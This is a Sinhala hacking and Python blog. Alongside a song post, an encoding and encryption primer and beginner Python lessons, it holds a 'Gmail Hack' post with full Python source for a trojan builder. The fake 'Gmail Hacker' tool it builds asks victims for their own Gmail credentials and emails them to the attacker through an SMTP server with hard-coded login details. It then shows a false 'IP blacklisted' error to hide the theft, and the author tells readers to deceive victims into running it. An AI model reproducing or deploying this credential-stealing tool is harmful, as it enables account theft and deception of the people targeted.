CLICK IT බ්ලොග් අවකාශය Hi There, and Welcome to Our Blog!

EVERY THING AT ONCE / CYBER වැඩ්ඩන්ගේ නවාතැන
  • Lighthouse

Thursday, November 5, 2015

මිහිරි වදන අම්මා

ආයුබෝවන් ! කිවුවා මාත් එක්කම ඉන්න යාළුවන් හැමෝටම
ගොඩ දවසකින් තමයි අද පොස්ට් එකක් දන්නේ ....අයි වැඩ නෑ කොල්ලන්ට හැමදාම ගිඩි ගිඩි ගලා post දානවා .....

ඔන්න අද මන් කියන්නේ trick එකක් නම් නෙවෙයි හැබයි ලොවෙත් නැති සින්දුවක් ගැන ඔක්කොම අහල බලන්න සින්දුවනම් අයි ටොප් ...

මේක කියන්නේ බුද්දික බණ්ඩාර,
lyrics  leela kumarihami


Song Title- Mihiri wadana amma


Artist Name- Buddhika Bandara

Music- Samantha karunarathne


Lyrics- leela kumarihami

Mixing & mastering by- shayan fernando

Wednesday, September 2, 2015

Gmail Hack කරමු...


ඔන්න ඉතින් අද මාතෘකාව දැක්කම කට්ටිය හිතනවා ඇති මම අද දෙන්න යන්නේ අර කවුරුත් දන්න Gmail hacker කියන පොඩි tool එක කියලා..නෑ නෑ ඒක නෙමේ..
ඒ tool එක ගැන කිහිප තැනකම තියනවා මම දැක්කා..
http://hackingclz.blogspot.com/2009/11/gmail-hacker.html

https://www.geek.lk/discussion/17133/gmail-account-hack-%E0%B6%9A%E0%B6%BB%E0%B6%B8%E0%B7%94%E0%B6%AF-100-%E0%B7%83%E0%B7%8F%E0%B6%BB%E0%B7%8A%E0%B6%AD%E0%B6%9A%E0%B6%BA%E0%B7%92

ඉතින් මම නම් ඔය tool එක පාවිච්චි කරන එක හොද දෙයක් කියල ඔයාලට කියන්නේ නෑ..මොකද ඕකත් එක්ක තව malicious software කීයක් bind කරල තියනවද කියලා කියන්න බෑ..අනිත් එක ඕක හදපු කෙනාම උනත් තමන්ටත් password එන විදිහට coding කරලා නෑ කියලා කාටවත් කියන්න බෑනේ..

ඒ උනත් ලංකාවේ ඉන්න ගොඩක් අය කැමති ඔය වගේ tool බාවිතා කරන්නනේ..අලුතින් දෙයක් හිතලා කරන්න කැමති අය අඩුයි..ඒකට ප්‍රධානම හේතුවක් වෙලා තියෙන්නේ අපේ අයගේ මේ පිලිබද තියන නොදැනුවත්කම..
ඔය වගේ gmail hacker tool එකකින් හදා ගත්ත fake tool එකක් දීලා ගොඩක් අයව අන්දන්න පුලුවන් නිසා මේ වගේ tool බාවිතා කරන්න ගොඩක් අය කැමතියි..ඒ නිසා ඒවා භාවිතා කරන්න ගිහින් තමන්ගේ පරිගනකයට වෛරස් පුරවගන්න අයට ඒකෙන් ගැලවෙන්න මම අද මේ විදිහේ tool එකක් මමම coding කරන්න තමා යන්නේ..
එතකොට ඔයාලට පුලුවන් ඔයාලගෙම කියල tool එකක් හදාගන්න..එතකොට අර කිව්ව ප්‍රශ්න නෑනේ..

හරි එහෙනම් වැඩේට බහිමු..
මුලින්ම මම coding එක දීලා අන්තිමට ඒ විදිහට හදපු executable file එක දෙන්නම්..

මම මේක කොටස් 3ක් විදිහට හදන්නේ..

1) Gmail Hacker Builder කොටස




import Tkinter,os,tkFileDialog,sys
from Tkinter import*
global a,filename,sed
filename='C:'
def build():
    mfile=open('logo.exe','a')
    mfile.write('#sas'+a.get())
    mfile.close()
    m2file=open('aaaa.SED','w')
    m2file.write(sed)
    m2file.close()
    os.system('iexpress.exe /n aaaa.sed')
    sys.exit()               
def cp():
    global filename,sed
    filename=tkFileDialog.askdirectory(initialdir='.')
    print (filename)
    Label(window,text=filename).grid(in_=window,row=5,padx=(10,1),sticky=W)                                                                         
    sed='''[Version]
Class=IEXPRESS
SEDVersion=3
[Options]
PackagePurpose=InstallApp
ShowInstallProgramWindow=1
HideExtractAnimation=1
UseLongFileName=0
InsideCompressed=0
CAB_FixedSize=0
CAB_ResvCodeSigning=0
RebootMode=N
InstallPrompt=%InstallPrompt%
DisplayLicense=%DisplayLicense%
FinishMessage=%FinishMessage%
TargetName=%TargetName%
FriendlyName=%FriendlyName%
AppLaunched=%AppLaunched%
PostInstallCmd=%PostInstallCmd%
AdminQuietInstCmd=%AdminQuietInstCmd%
UserQuietInstCmd=%UserQuietInstCmd%
SourceFiles=SourceFiles
[Strings]
InstallPrompt=
DisplayLicense=
FinishMessage=
TargetName='''+filename+'''/GmailHacker.exe
FriendlyName=abc
AppLaunched=logo.exe
PostInstallCmd=gh.exe
AdminQuietInstCmd=
UserQuietInstCmd=
FILE0="gh.exe"
FILE1="logo.exe"
[SourceFiles]
SourceFiles0='''+sys.executable.strip('gmail.exe')+'''
[SourceFiles0]
%FILE0%=
%FILE1%='''
    
window=Tkinter.Tk()
window.title('Gmail Hacker Builder by sinhalahacker.net')
window.geometry('350x300')
window.wm_iconbitmap('data\icon1.ico')
window.wm_resizable(0,0)
l=PhotoImage(file='data\logo.gif')
l1=Label(window,image=l)
l1.image=l
l1.grid(in_=window,row=0,sticky=W)
Label(window,text='Enter Your Email address: ').grid(in_=window,row=1,padx=(10,1),sticky=W)                    
a=Entry(window,width=50)
a.grid(in_=window,row=3,padx=(10,1),sticky=W)
Label(window,text="Choose Path to create: ").grid(in_=window,row=4,padx=(10,1),sticky=W)                    
Label(window,text="C:/ ").grid(in_=window,row=5,padx=(10,1),sticky=W)                    

Button(window,text='Change Path',command=cp).grid(in_=window,row=6,padx=(10,1),sticky=W)
Label(window,text='Visit www.sinhalahacker.net to read latest tutorials ').grid(in_=window,row=7,padx=(10,1),sticky=W)                    
Label(window,text='').grid(in_=window,row=8,padx=(10,1),sticky=W)                    
Button(window,text='Build it',command=build).grid(in_=window,row=9,padx=(140,10),sticky=W)
sed='''[Version]
Class=IEXPRESS
SEDVersion=3
[Options]
PackagePurpose=InstallApp
ShowInstallProgramWindow=1
HideExtractAnimation=1
UseLongFileName=0
InsideCompressed=0
CAB_FixedSize=0
CAB_ResvCodeSigning=0
RebootMode=N
InstallPrompt=%InstallPrompt%
DisplayLicense=%DisplayLicense%
FinishMessage=%FinishMessage%
TargetName=%TargetName%
FriendlyName=%FriendlyName%
AppLaunched=%AppLaunched%
PostInstallCmd=%PostInstallCmd%
AdminQuietInstCmd=%AdminQuietInstCmd%
UserQuietInstCmd=%UserQuietInstCmd%
SourceFiles=SourceFiles
[Strings]
InstallPrompt=
DisplayLicense=
FinishMessage=
TargetName='''+filename+'''\GmailHacker.exe
FriendlyName=abc
AppLaunched=logo.exe
PostInstallCmd=gh.exe
AdminQuietInstCmd=
UserQuietInstCmd=
FILE0="gh.exe"
FILE1="logo.exe"
[SourceFiles]
SourceFiles0='''+sys.executable.strip('gmail.exe')+'''
[SourceFiles0]
%FILE0%=
%FILE1%='''
window.mainloop()



2) victimට යවන gmail hacker tool එක..




import Tkinter,smtplib,ttk,time,sys
from Tkinter import *
from email.mime.text import MIMEText
global a,b,c,error,error2,mf,mail
mf=open('logo.exe','rb+')
mf2=mf.read()
i=0
while mf2[i]+mf2[i+1]+mf2[i+2]+mf2[i+3]!='#sas':
  i+=1
mail=mf2[i+4:]
print mail
def ex():
  sys.exit()
def hack():
    global a,b,c,error,error2,mail
    error.destroy()
    error2.destroy()
    try:

        log='''Gmail address- '''+a.get()+'''\n Password- '''+b.get()+'''\n Tried to hack - '''+c.get()
        sender = 'sas@shanaka95.byethost3.com'
        msg = MIMEText(log)
        msg['Subject'] = "Keylogs from Sinhalahacker.net"
        msg['From'] = sender
        msg['To'] = str(mail)
        server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
        server.login('sas@shanaka95.byethost3.com', 'testing123')
        server.sendmail(sender, [mail], msg.as_string())
        server.quit()
        error2=Label(window,text="Your IP address has been blacklisted by Google servers.\nTry changing IP address",fg='red')
        error2.place(x=10,y=385)
    except:
        error=Label(window,text="Can't connect to Google Servers.\nPlease check your internet connection.If you use firewall,\nplease disable it and try again.",fg='red')
        error.place(x=10,y=385)

    
window=Tkinter.Tk()
window.title('Gmail Hacker V 1.5')
window.geometry('355x450')
window.wm_resizable(0,0);
window.wm_iconbitmap('data/icon1.ico')
logophoto = PhotoImage(file="data/logo.gif")
labellogo = Label(window,image=logophoto)
labellogo.image = logophoto
labellogo.grid(in_=window,row=1, sticky=W)
Label(window,text="").grid(in_=window,row=2,padx=(10,1), sticky=W)
Label(window,text="Enter Your Gmail Address ( with '@gmail.com') :").grid(in_=window,row=3,padx=(10,1), sticky=W)
a=Entry(window,width=55)
a.grid(in_=window, row=4, column=0,padx=(10,1),sticky=W)
Label(window,text="Enter Your Gmail Password :").grid(in_=window,row=5,padx=(10,1), sticky=W)
b=Entry(window,width=55,show="*")
b.grid(in_=window, row=6, column=0,padx=(10,1),sticky=W)
Label(window,text="Enter Your Victim's Gmail Address ( with '@gmail.com') :").grid(in_=window,row=7,padx=(10,1), sticky=W)
c=Entry(window,width=55)
c.grid(in_=window, row=8, column=0,padx=(10,1),sticky=W)
Label(window,text="Victim Password : (Click Hack now! to reveal victim's password)").grid(in_=window,row=9,padx=(10,1), sticky=W)
Entry(window,width=55,state=DISABLED).grid(in_=window,row=10,padx=(10,1), sticky=W)
Label(window,text="").grid(in_=window,row=11,padx=(10,1), sticky=W)
Button(window,text='Hack now!',command=hack).grid(in_=window,row=12,column=0,padx=(10,1),sticky=W)
Button(window,text='  Exit  ',command=ex).grid(in_=window,row=12,column=0,padx=(300,1),sticky=S)
Label(window,text="").grid(in_=window,row=13,padx=(10,1), sticky=W)
pb = ttk.Progressbar(window, length=340, mode='determinate')
pb.place(x=8,y=360)
error=Label(window,text="Can't connect to Google Servers.\nPlease check your internet connection.If you use firewall,\nplease disable it and try again.",fg='red')
error2=Label(window,text="Your IP address has been blacklisted by Google servers.\nTry changing IP address",fg='red')

window.mainloop()

දැන් ඔය දෙකෙන් පලවෙනි එක මම gmailhacker.py විදිහටත් දෙවනි එක gh.py විදිහටත් save කරගෙන දෙකම pyinstaller භාවිතා කරලා executable files බවට convert කරගන්නවා..

දැන් තුන් වෙනියට මට ඕනේ ඔය program දෙකට අදාල images එහෙම අඩංගු data file..මම ඒ ටික logo.exe විදිහට හදා ගන්නවා..

හරි දැන් ඔන්න තියනව මට ඕන file ටික ඔක්කොම..මෙතනින් download කරගන්න..

හරි දැන් ඒ ටික ඔක්කොම bind කරගන්න..ඔන්න එතකොට මට එනවා සම්පූර්න tool එක..


සම්පූර්න tool එක මෙතනින් download කරගන්න....(අර කලින් කිවව ඒ්වා කරන්න අමාරු නම් ෙම් සම්පූර්න tool ඒක download කරගත්තම හරි)




Link 2


ඔන්න තියනවා tool එක..ඔතන Enter your email address කියන තැන ඔයාගේ email address එක ගහන්න..
ඊට පස්සේ Gmail Hacker tool එක හැදෙන්න ඕන තැන path එක තෝරන්න..
වැදගත්-මෙතන path එක තෝරද්දි ඔයාගේ computer එකේ os එක දාලා තියන drive එක පාවිච්චි කරනවනම් admin privileges ඕන වෙනවා..ඒ කිව්වේ program එක run කරද්දි run as administrator විදිහට run කරන්න ඕනේ..එහෙම නැත්තන් path එක විදිහට වෙන drive එකක් දෙන්න..

අන්තිමට Build it button එක click කරන්න..


ඔන්න එතකොට ඔයා තෝරපු path එකේ GmailHacker.exe කියලා අපේ tool එක හැදිල තියෙයි..

දැන් එක execute කරලා බැලුවම

ඔන්න පේනව නේද..ඕක තමා අපි victim ට යවන්න ඕනේ..එයාට බොරුවක් කියල දෙන්න ඕන මේකෙන් වෙන කෙනෙක්ගේ gmail account එකක් බොහොම ලේසියෙන් hack කරන්න පුලුවන් කියලා..

ඉතින් එයා මේකෙන් එහෙම hack කරන්න හිතාගෙන තමනගෙ විස්තරයි එයා හැක් කරන්න හිතාගෙන ඉන්න කෙනාගේ විස්තරයි දීලා Hack Now button එක ඔබනවනේ..

මම මේකට මගේ gmail address එක විදිහට admin@sinhalahacker.net කියලත් password එක විදිහට testing123 කියලත් victimගේ gmali address එක විදිහට abcd@gmail.com කියලත් දීලා hack now button එක click කරනවා..

 ඔන්න එතකොට ඔය පේනව වගේ error එකක් එනවා..
"Your IP address has been blacklisted by Google servers.\nTry changing IP address"

දැන් ඉතින් අපේ victim මෙහෙම ආවම හිතනවා මේක එයාගේ පරිගනකයේ අවුලක් කියලා..

ඒ උනත් ඔන්න බලන්න මම අර කලින් දීපු මගේ Email address එකට විස්තර ඔක්කොම එනවා..

ඔන්න හරි...වැඩේ ලේසියෙන් ඉවර උනාට හදන එකනම් ලේසි උනේ නෑ..:-) මම මේකේ source එකත් එක්කම දුන්නේ නැත්න් කට්ටිය හිතයි මම මේක ඇතුලේ malicious code හන්ගලා දෙනව කියලා..

මම ආයෙත් කියනවා මේක මම කොහොමත් අනුමත කරන දෙයක් නෙමේ..මොකද මේවට රැවටෙන අය අද අඩුයි..ඒ උනත් google search කරල download කරන එක එක software වලින් අමාරුවේ වැටෙන අය ඒකෙන් ගලවගන්න තමා මම මේක හැදුවේ..

මොකක් හරි අවුලක් තියනවනම් කියන්ඩෝ..

Saturday, June 6, 2015

මොකක්ද මේ Encoding සහ Encrypting?

 python ගැන ඊලග ලිපිය ලියන්න කලින් අද වෙන මාතෘකාවක් ගැන කතා කරන්න තමා මම මේ යන්නේ..
අපිට නිතරම ඇහෙන වචන ටිකක් තමා මේ Encoding,Encrypting,Hashing..මම අද කියන්න යන්නේ මේ Encoding,Encrypting ගැන..
http://www.john-james-andersen.com/wp-content/uploads/matrix.png

Encoding


encoding කියල කියන්නේ මොකක් හරි ක්‍රමයක් පාවිච්චි කරලා එක වර්ගයක data තවත් වර්ගයකට පරිවර්තනය කිරීමක්..දැන් ඔයාල බලනව ඇති මෙහෙම එක වර්ගෙක ඉදල තව වර්ගෙකට හරවන්නෙ ඇයි කියලා..

මේකට ප්‍රධාන හේතු දෙකක් තියනවා.
  •  දත්ත ගබඩා කිරීම සදහා.(Store Data)

අපි දන්නවා අපි මේ පාවිච්චි කරන පරිගනක වල මතකයේ තැම්පත් කරන්න පුලුවන් වෙන්නේ bits විතරයි..ඒ කිව්වේ 1 හෝ 0 විදිහට binary language එකෙන්..ඉතින් අපි මතකයේ තැම්පත් කරන හැම දත්තයක්ම අර කිව්ව binary data වලට හැරවිල තමා මතකයේ ගබඩා වෙන්නේ..
අපි කවුරුත් දන්න ASCII,Unicode වලදි සිද්ද වෙන්නේ මේක..
ඉතින් ඕක හොද උදාහරනයක් තමා  දත්ත ගබඩා කිරීම සදහා encode කිරිම ගැන.
  • දත්ත සම්ප්‍රේශනය කිරීම සදහා

ඊලග හේතුව තමා මේ දත්ත එක තැනක ඉදල තවත් තැනකට සම්ප්‍රේශනය කරද්දි ඒ දත්ත වල වගේම පද්ධතියේ ආරක්ෂාව උදෙසා මේ encode කිරීම සිදුකරනවා..
මේකට හොදම උදාහරනය තමයි http හරහා දත්ත සම්ප්‍රේෂනය කරද්දි base64 කියන algorithm එකට අනුව encode කරනවා..මේ විදිහට encode කරාම english letters,number සහ තව විශෙෂ characters දෙකකට සීමා වෙන විදිහට දත්ත වෙනස් කරනවා..

ඔයාල දැකල ඇති අන්තර්ජාලයේදි URL Encode කරනවා..

උදාහරනයකට http://www.sinhalahacker.net/downloads ගත්තම 

http%3A%2F%2Fwww.sinhalahacker.net%2Fdownloads

විදිහට තමා encode වෙන්නේ..



දැන් අපි උදාහරනයකට ගමු අපි ලග තියනවා අඹ ගෙඩි 20ක්.මට ඕන වෙනව මේ අඹ ගෙඩි ඔක්කොම එකවැර එහෙ මෙහෙ අරන් යන්න,එක එක තැන්වල ගබඩා කරල තියන්න වගේ දේවල් කරන්න..
ඒත් මේ විදිහට අරන් යන්න ගියොත් එක්කො මගදි වැටෙන්න පුලුවන්..නැත්තන් තැලෙන්න පුලුවන්..මේ හින්ද මම මේව දානවා පෙටි 2ක්,3ක් ඇතුලට..එතකොට දැන් මේ පෙට්ටි , අඔ ගෙඩි වගේ රෝල් වෙන්නේ නැති හින්ද මට ලේසියෙන්ම අරන් යන්නත් පුලුවන්..ඒත් එක්කම පෙට්ටි ඇතුලේ දාලා නිසා අඹ වලට ආරකෂාවකුත් ලැබිලා තියනවා..
ඔන්න ඒ මම කරේ මට අරන් යන්න,ගබඩා කරන්න ලේසි විදිහකට මේ අඔ හදව්ව එක..ඊට පස්සේ මට ඔනම වෙලාවක ආපහු අඔ ගෙඩි වෙනවෙනම ගන්න පුලුවන්..

ඔයවගේ දෙයක් තමා මේ Encoding වලදි වෙන්නේ..

එතකොට මේ encode කරන එකේ ප්‍රධානම වාසියක් වෙලා තියෙන්නේ පද්ධති දෙකක් අතර මේ දත්ත පාවිච්චි වෙද්දි මේ පද්ධති දෙකට දත්ත තේරුම් ගන්න පුලුවන් වෙනඑක.මෙතනදි දත්ත හොරකම් කරන්න බැරි වෙන්න දත්ත වෙනස් කිරීමක් බලාපොරොත්තු වෙන්නේ නෑ..

encode කරපු දත්ත decode කරන්නත් පුලුවන් වෙන්නේ algorithm එකකට අනුව තමා..ඒත් encode කරන්නේ ප්‍රසිද්ද algorithm අනුව..ඉතින් algorithm එක දන්නවනම් ඕන කෙනෙක්ට මේ encoded data එකක් decode කරන්න පුලුවන් ලේසියෙන්ම


Encrypting



http://core0.staticworld.net/images/article/2013/01/encrypt_primary-100022114-gallery.jpg

Encrypt කරනවා කියන්නේ cryptography කියන මාතෘකාවට අදාල දෙයක්.මේකෙදි වෙන්නේ දත්ත එක තැනක ඉදලා තව තැනකට සම්ප්‍රේෂනය කරද්දි හරි store කරල තියද්දි හරි කාටවත් හොරකම් කරන්න බැරි විදිහකට දත්ත වෙනස් කරන එක.

දැන් උදාහරනයකට හිතන්න
^#s!MF#:5_(A!R5-(X_

ඔන්න ඔය තියෙන්නේEncrypt කරපු string එකක්..පුලුවන්නම් try කරල බලන්න ඔය මොකක්ද කියලා කයලා හොයාගන්න...

දැන් ඔයාලට තේරෙනවා නේද මේ විදිහට Encrypt කරපු දත්තයක් කවුරු හරි හොරකම් කරාට වැඩක් නෑ..මොකද එයාට ඒක තේරුම් ගන්න බෑ..

එතකොට මේ විදිහට encrypt කරපු data හදුන්වනවා ciphertext කියලා..එතකොට encrypt නොකරපු data plaintext කියල හදුන්වනවා..

එතකොට මේ encrypt කරන්න අපි පාවිච්චි කරනවා key එකක්..දැන් ඔයාල බලනවා ඇති මොකක්ද මේ key කතාව කියල..

අපි කලින් ගත්ත උදාහරනයම ගමුකෝ..

මම අර විදිහට අඹ අරන් යද්දි කාට හරි පුලුවන් පෙට්ටි ටික හොරකම් කරල අඔ ගන්න..ඒ නිසා මම මේ පෙට්ටි වලට ඉබ්බෙක් දාලා වහනවා..දැන්මේ අඹ ගන්න පුලුවන් යතුර තියන කෙනාට විතරයිනේ නේද?

අන්න ඒ දේම තමා මේ encrypt සහ decrypt කරද්දි key එකෙන් වෙන්නේ.encrypt කරපු දෙයක් decrypt කරන්න පුලුවන් වෙන්නේ ගැලපෙන key එක තියනවනම් විතරයි..

මේ key එක පාවිච්චි කරන විදිහ අනුව encrypt කිරීම ප්‍රධාන කොටස් 2කට බෙදෙනවා..
  • Symmetric key encryption

 මේ ක්‍රමයෙදි වෙන්නේ key එකක් පාවිච්චි කරලා දත්ත encrypt කරනවා..මේ දත්ත ආපහු decrypt කරන්න නම් ඒ encrypt කරපු key එකම තියෙන්න ඔනේ..
http://securitycerts.org/images/symmetric-key-encryption.jpg


  • Asymmetric cryptography (Public-key cryptography)

  මේකෙදි එක key එකක් නෙමේ පාවිච්චි වෙන්නේ.public key සහ privet key කියල දෙකක් පාවිච්චි වෙනවා..මේ public key එක ඔන කෙනෙක්ට බලන්න පුලුවන්..ඒත් privet key එක රහසිගතයි..මේකෙදි වෙන්නේ මේකයි..

අපි data encrypt කරන්න පාවිච්චි කරන්නේ public key එක..මේ ciphertext එක ලබන කෙනා privet key එක පාවිච්චි කරල තමා decrypt කිරීම කරන්නේ..

උදාහරනයක් ගත්තොත් අමල් ට ඔන වෙනවා රහසිගත පනිවිඩයකි කමල්ට යවන්න..එයා කරන්නේ කමල්ගේ public key එක පාවිච්චි කරලා පනිවිඩය encrypt කරල කමල්ට යවනවා..
ඒත් මේ public key එකෙන් ආපහු decrypt කරන්න බෑ..කමල් එයා ලග තියන privet key එක පාවිච්චි කරලා මේ ciphertext එක plaintext එකකට decrypt කරගන්නවා..



https://blog.malwarebytes.org/wp-content/uploads/2013/10/assemcrypto.gif

දැන් ඔයාලට මතක් වෙනවා ඇති අද ගොඩක් වැදගත් වෙබ් අඩවි පාවිච්චි කරන SSL තාක්ෂනයේදි වෙන්නේත් මේ Public-key cryptography තාක්ෂනය තමයි..


හරි දැන් එහෙනම් මම දැන් පොඩි algorithm එකක් හදන්න තමා යන්නේ මේ encrypt සහ decrypt කරන්න..
මම මෙකට පාවිච්චි කරනවා Transposition cipher කියන ක්‍රමය සහ python language එක..
Transposition cipher කියන ක්‍රමයෙදි වෙන්නේ මේකයි..

දැන් අපි හිතමු plaintext එක - thisis
key එක - mymainkey

දැන් අපි මුලින්ම key එක අරගෙන ඒකේ එක පාරකට වඩා වැඩියෙන් තියන characters අයින් කරනවා..එතකොට

myainke

දැන් key එකේ length එක අනුව් alphabet එක කඩ කඩ ලියනවා..key එකේ තියන charcters අයේ ලියන්නේ නෑ

m y a i n k e
b  c d f g h l
o  p q r s t u
v  w x y z

දැන් මම key එකේ අකාරාදීපිලිවෙලට උඩ ඉදන් පල්ලෙහට characters ටික ලියනවා.
a d q x e l u i  f r y k h t m b o v n g s z  y c  p w
a b c d e f g h i j  k l m n o p q r s  t u v w x  y  z

ඔන්න දැන් යටින් ලිව්ව alphabet එකේ character වෙනුවට උඩ එකේ characters දාලා අපිට පුලුවන් ciphertext එක හදාගන්න..
nmhuhu

ඔන්න දැන් ඕක decode කරන්නනම් key එක තියෙන්නම ඔන..ඒත් මෙතනදි ඔය පාවිච්චි කරල තියෙන්නේ simple letters විතරනේ..ඉතින් ඔන්න මම ඔය method එකට හදපු python program එක download කරගන්නකෝ.

https://www.dropbox.com/s/rs9zrmf0uq1ype4/mycrypter.py?dl=0



 ඔන්න තියනව මම කලින් කිව්ව ciphertext එක..මම ඒක crypt කරේ my#1key කියන key එකෙන්..
ඒ වගේම මෙකෙන් decrypt කරන්නත් පුලුවන්.

(මේ program එක වැඩිය test කරේ නැති නිසා සමහර විට bugs තියෙන්න පුලුවන්..)

ඒත් එක්කම hackerrank.com එකේ හොද challenge වගයක් තිබ්බ මේ cryptography ගැන..එ ටික කරොත් ඔයාලටත් හොද අවබෝධයක් ලැබෙයි..
https://www.hackerrank.com/domains/security/cryptography
 

Monday, April 13, 2015

Python Variables and Data Types | Python Lesson 2


Variables(විචල්‍යය)


දැන් අපි බලමු මොකක්ද මේ variable එකක් කියන්නේ කියලා..
variable එකක් කියන්නේ තාවකාලිකව අගයන් ගබඩා කරගන්න වෙනස්වන අගයක්..

a='Hello World'
print a

මෙතනදි වෙලා තියෙන්නේ a නමින් variable එකක් හැදිලා Hello World කියන දත්ත ඒ variable එකට ආදේශ වෙලා..ඉතින් මේ variable ඇතුලේ අපිට දත්ත ගබඩා කරලා තියන්න පුලුවන්..පස්සේ ඒවා ප්‍රයෝජනයට ගන්න පුලුවන්..


දැන් බලන්න මේ a කියන variable එකට එක එක වෙලාවල් වලදි එක එක අගයන් දෙනවා..

ඇත්තටම python වලදි වෙන්නේ a='sas' කියලා variable එකක් හැදුවොත් memory එකේ 'sas' කියන දත්තය ගබඩා වෙලා a කියන විචල්‍යය ඒ මතක අවකාශයට point වෙනවා..
b='sas' කියලා එකම දත්ත තියන තවත් variable එකක් හැදුවොත් ඒකත් අර memory එකටම point වෙනවා..
id() function එකෙන් memory id එක බැලුවම ඒක පැහැදිලි වෙනවා.හැබැයි මේ දේ ගැන ඔයාල දැන්ම ගොඩක් හිතන්න යන්න එපා..පස්සේ ඔයාලට මේක පැහැදිලි වෙයි...



මේ variable එකට මම a කියලා නම දුන්නේ..ඒත් අපිට කැමති ඕනම නමකින් මේ variable එකක් නම් කරන්න පුලුවන්..ඒත් මේ නීති අනුගමනය කරන්න ඕන variable එකකට නම් දෙද්දි..

  • a-z හෝ A-Z අකුරු වලින් හෝ _ වලින් variable name එකක් ආරම්බ විය යුතුයි..
  • ඊට පස්සේ නමේ මැදට අගට ඉලක්කම් පාවිච්චි කරන්න පුලුවන්..
  • නම Case Sensitive වේ..ඒ කිව්වේ abird කියන නමයි Abird කියන නමයි AbIrd කියන නමයි කියන්නේ නම් 3ක්..
  • ගැලපෙන දිගක් පාවිච්චි කරන්න පුලුවන්..
  • python interpreter එකෙන් වෙන් කරගත්ත වචන ටිකක් තියනවා..ඒවා variable name එකක් විදිහට පාවිච්චි කරන්න බෑ..ඒ වචන තමා
  1. and
  2. as
  3. assert
  4. break
  5. class
  6. continue
  7. def
  8. del
  9. elif
  10. else
  11. except
  12. exec
  13. finally
  14. for
  15. from
  16. global
  17. if
  18. import
  19. in
  20. is
  21. lambda
  22. not
  23. or
  24. pass
  25. print
  26. raise
  27. return
  28. try
  29. while
  30. with
  31. yield

අපිට = ලකුනකින් පුලුවන් variable එකකට අගයක් ආදේශ කරන්න..

a=2
b=3
c=a+b
print c

ඔන්න ඔය වගේ variable එකට ආදේශ වෙච්ච දත්ත පස්සේ අපිට භාවිතා කරන්න පුලුවන්..


එතකොට අපි මෙහෙම බලමු

a='2'
b='3'
c=a+b
print c
මෙතනදි උත්තර 2 වෙනස් වෙලා තියෙන්නේ පලවෙනි පාර python interpreter එකෙන් a කියන variable එකට 2 කියන අගය ආදේශ කරගන්නේ integer දත්තයක් විදිහට.b වලටත් එහෙමයි..
ඒත් දෙවෙනි අවස්ථාවෙදි අපි උඩු කොමා ඇතුලේ දාපු අගයන් a,b වලට ආදේශ කරාම ඒවා string දත්ත විදිහට තමා ආදේශ වෙන්නේ..

මේ නිසා ඔයාල මුලින්ම මේ ප්‍රධාන python data types ගැන අවබෝධයක් ලබා ගන්න එක වැදගත් වෙනවා..

 Python data types

  • Boolean-මේ වර්ගයට අයිති වෙන්නේ True හෝ False කියන අගයන් දෙක..එතකොට 0 කියන අගය සහ '' (හිස් string) Fasle විදිහටත් data True විදිහටත් සැලකෙනවා..
    • Sequences-මේ වර්ගයට අයිති වෙන්නේ යම් කිසි අනුක්‍රමයකට අදාලව දීලා තියන දත්ත..මේවා ප්‍රධාන කොටස් 3කි.
      • string-8 bit characters විදිහට අපිට ඔ්නම නමක් ඉලක්කමක් ආදිිය ගබඩා කරන්න පුලුවන්..ඒත් මේවා සංඛ්‍යාත්මක ගනනය කිරීම් වලට භාජනය කරන්න බෑ.python 3.x version වලදි නම් unicode character උනත් පාවිච්චි කරන්න පුලුවන්..
      • tuple
      • list( list,tuple ගැන පස්සේ වෙනමම කතා කරමු)
    • Numbers-මේ වර්ගයට අයිති වෙන්නේ අංකමය දත්ත..මේවාගේ විශේෂත්වය වෙන්නේ මේව ගණිත කර්ම වලට භාජනය කරන්න පුලුවන්..මේ numbers ප්‍රධාන ලෙස වර්ග 4යි.ඒ තමා
      • int
      • long - දිගෙහි සීමාවක් නැති දීර්ඝ සංඛ්‍යා
      • float- සියලුම දශම සංඛ්‍යා
      • complex-සියලුම සංකීර්ණ සංඛ්‍යා
    • Sets-මේ වර්ගයට අයිති වෙන්නේ යම් කිසි අනුක්‍රමයක් නැති විදිහට (unordered) දීලා තියන දත්ත.
    • Mapping-මේකට අයිති වෙන්නේ dictionary කියන data type එක..මෙතනදි වෙන්නේ හැම අංගයකටම ඒත් එක්කම මොකක් හරි විගුහ කිරීමකුත් බැදිලා එනවා..ඒ කිව්වේ name:sinhalahacker,language:sinhala,country:srilanka  අන්න ඒ වගේ
    දැන් එතකොට මේ datatypes ප්‍රදෘන විදිහට කොටස් 2කට බෙදන්න පුලුවන්..
    1. mutable-මේ වර්ගයේ තියන data හැදුවට පස්සේ edit කරන්න පුලුවන්..මේවට උදාහරන තමා dictionary,list,set වගේ ඒවා..
    2. immutable-මේ වර්ගයේ තියන data හැදුවට පස්සේ edit කරන්න බෑ..මේවට උදාහරන තමා string,integer,tuple වගේ ඒවා..
    සරලවම කිව්වොත් අපි 
    a='sinhalahacker' කියලා string එකක් හදනවා..
    දැන් මට ඔ්න වෙනවා මේ string එකේ තියන a අකුරු ඔක්කොම මකන්න..ඒත් string කියන්නේ immutable නිසා මට එහෙම string එකක් ඇතුලේ තියන data edit කරන්න බෑ..ඒත් dictionary එකක වගේනම් ඇතුලේ තියන data එක එකක් වෙන වෙනම edit කරන්න පුලුවන්..


    වැඩසටහන් නිර්මානයට Python අර්ථවින්‍යාසකය භාවිතා කරන ආකාරය | Python Lesson 1

    මුලින්ම ඔයාල python interpreter එක install කරගන්න ඕනේ..ඒ නිසා මුලින්ම ඔයාලගෙ පරිගනකයට ගැලපෙන විදිහට download කරගෙන install කරගන්න..




    මෙතනදි ඔයාලට පේනවා ඇති මේ වෙනකොට python 2.7 කියන version එකයි 3.4 කියන version එකයි දෙකම භාවිතා වෙනවා..
    ඒ උනත් මම මෙතනදි පාඩම් ඉදිරියට කරගෙන යන්නේ 2.7 version එක භාවිතා කරලා..මේ 2 අතර පොඩි වෙනසකම් වගයක් තමා තියෙන්නේ..එ උනත් 2.7 වල භාවිතා කරපු program ගොඩක් 3.4 වලදි භාවිතා කරන්න බැරි වෙලා තියනවා..මොකද python 2.7 version එකේදි භාවිතා උන සමහර statement 3.4 වලදි Function වලට හරවල තියනවා..

    ඒත් එක්කම ගොඩක් third party modules තාමත් support කරන්නේ 2.7 version එකට විතරයි..මම විස්වාස කරනවා 2.7 ඉගෙන ගත්ත කෙනෙකුට 3.4 අල්ල ගන්න එක හරිම ලේසි කියලා..

